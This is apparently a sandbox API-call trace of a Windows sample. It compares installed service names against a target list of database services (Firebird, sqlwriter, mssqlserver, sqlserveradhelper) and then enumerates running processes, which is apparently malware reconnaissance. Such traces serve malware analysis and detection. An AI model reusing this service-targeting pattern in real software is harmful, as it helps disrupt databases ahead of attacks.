	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0147.601] lstrlenW (lpString="FontCache") returned 9
	[0147.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0147.601] lstrlenW (lpString="gpsvc") returned 5
	[0147.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0147.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0147.601] lstrlenW (lpString="iphlpsvc") returned 8
	[0147.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0147.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0147.601] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0147.601] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0147.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0147.602] lstrlenW (lpString="KeyIso") returned 6
	[0147.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0147.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0147.602] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0147.602] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0147.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0147.602] lstrlenW (lpString="LanmanServer") returned 12
	[0147.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0147.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0147.602] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0147.602] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0147.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0147.602] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0147.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0147.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0147.602] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0147.602] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0147.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0147.602] lstrlenW (lpString="lfsvc") returned 5
	[0147.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0147.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0147.602] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0147.602] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0147.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0147.603] lstrlenW (lpString="lmhosts") returned 7
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0147.603] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0147.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0147.603] lstrlenW (lpString="LSM") returned 3
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0147.603] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0147.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0147.603] lstrlenW (lpString="MpsSvc") returned 6
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0147.603] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0147.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0147.603] lstrlenW (lpString="NcbService") returned 10
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0147.603] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0147.603] lstrlenW (lpString="netprofm") returned 8
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0147.603] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0147.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0147.603] lstrlenW (lpString="NgcSvc") returned 6
	[0147.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0147.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0147.604] lstrlenW (lpString="NlaSvc") returned 6
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0147.604] lstrlenW (lpString="nsi") returned 3
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0147.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0147.604] lstrlenW (lpString="PcaSvc") returned 6
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0147.604] lstrlenW (lpString="PlugPlay") returned 8
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0147.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0147.604] lstrlenW (lpString="Power") returned 5
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0147.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0147.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0147.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0147.604] lstrlenW (lpString="ProfSvc") returned 7
	[0147.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0147.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0147.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0147.605] lstrlenW (lpString="RpcEptMapper") returned 12
	[0147.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0147.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0147.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0147.605] lstrlenW (lpString="RpcSs") returned 5
	[0147.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0147.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0147.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0147.605] lstrlenW (lpString="SamSs") returned 5
	[0147.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0147.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0147.605] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0147.605] lstrlenW (lpString="Schedule") returned 8
	[0147.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0147.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0147.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0147.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0147.606] lstrlenW (lpString="SecurityHealthService") returned 21
	[0147.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0147.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0147.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0147.606] lstrlenW (lpString="SENS") returned 4
	[0147.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0147.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0147.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0147.606] lstrlenW (lpString="ShellHWDetection") returned 16
	[0147.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0147.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0147.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0147.606] lstrlenW (lpString="Spooler") returned 7
	[0147.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0147.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0147.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0147.606] lstrlenW (lpString="StateRepository") returned 15
	[0147.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0147.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0147.606] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0147.607] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0147.607] lstrlenW (lpString="SysMain") returned 7
	[0147.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0147.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0147.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0147.607] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0147.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0147.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0147.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0147.607] lstrlenW (lpString="Themes") returned 6
	[0147.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0147.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0147.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0147.607] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0147.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0147.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0147.607] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0147.607] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0147.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x459f700 | out: hHeap=0x4f0000) returned 1
	[0147.608] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x514
	[0147.867] Process32FirstW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0147.868] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0147.868] lstrlenW (lpString="System") returned 6
	[0147.869] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0147.869] lstrlenW (lpString="smss.exe") returned 8
	[0147.869] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0147.870] lstrlenW (lpString="csrss.exe") returned 9
	[0147.870] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0147.871] lstrlenW (lpString="wininit.exe") returned 11
	[0147.871] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0147.872] lstrlenW (lpString="csrss.exe") returned 9
	[0147.872] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0147.873] lstrlenW (lpString="winlogon.exe") returned 12
	[0147.873] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0147.874] lstrlenW (lpString="services.exe") returned 12
	[0147.874] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0147.875] lstrlenW (lpString="lsass.exe") returned 9
	[0147.875] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0147.876] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0147.876] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0147.877] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0147.877] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.878] lstrlenW (lpString="svchost.exe") returned 11
	[0147.878] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.878] lstrlenW (lpString="svchost.exe") returned 11
	[0147.878] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0147.879] lstrlenW (lpString="dwm.exe") returned 7
	[0147.879] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.880] lstrlenW (lpString="svchost.exe") returned 11
	[0147.880] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.881] lstrlenW (lpString="svchost.exe") returned 11
	[0147.881] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.881] lstrlenW (lpString="svchost.exe") returned 11
	[0147.881] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.882] lstrlenW (lpString="svchost.exe") returned 11
	[0147.882] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.883] lstrlenW (lpString="svchost.exe") returned 11
	[0147.883] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.883] lstrlenW (lpString="svchost.exe") returned 11
	[0147.883] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.884] lstrlenW (lpString="svchost.exe") returned 11
	[0147.884] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.885] lstrlenW (lpString="svchost.exe") returned 11
	[0147.885] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.886] lstrlenW (lpString="svchost.exe") returned 11
	[0147.886] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.887] lstrlenW (lpString="svchost.exe") returned 11
	[0147.887] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0147.888] lstrlenW (lpString="spoolsv.exe") returned 11
	[0147.888] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0147.889] lstrlenW (lpString="svchost.exe") returned 11
	[0147.889] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0147.889] lstrlenW (lpString="audiodg.exe") returned 11
	[0147.890] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0147.890] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0147.890] Process32NextW (in: hSnapshot=0x514, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
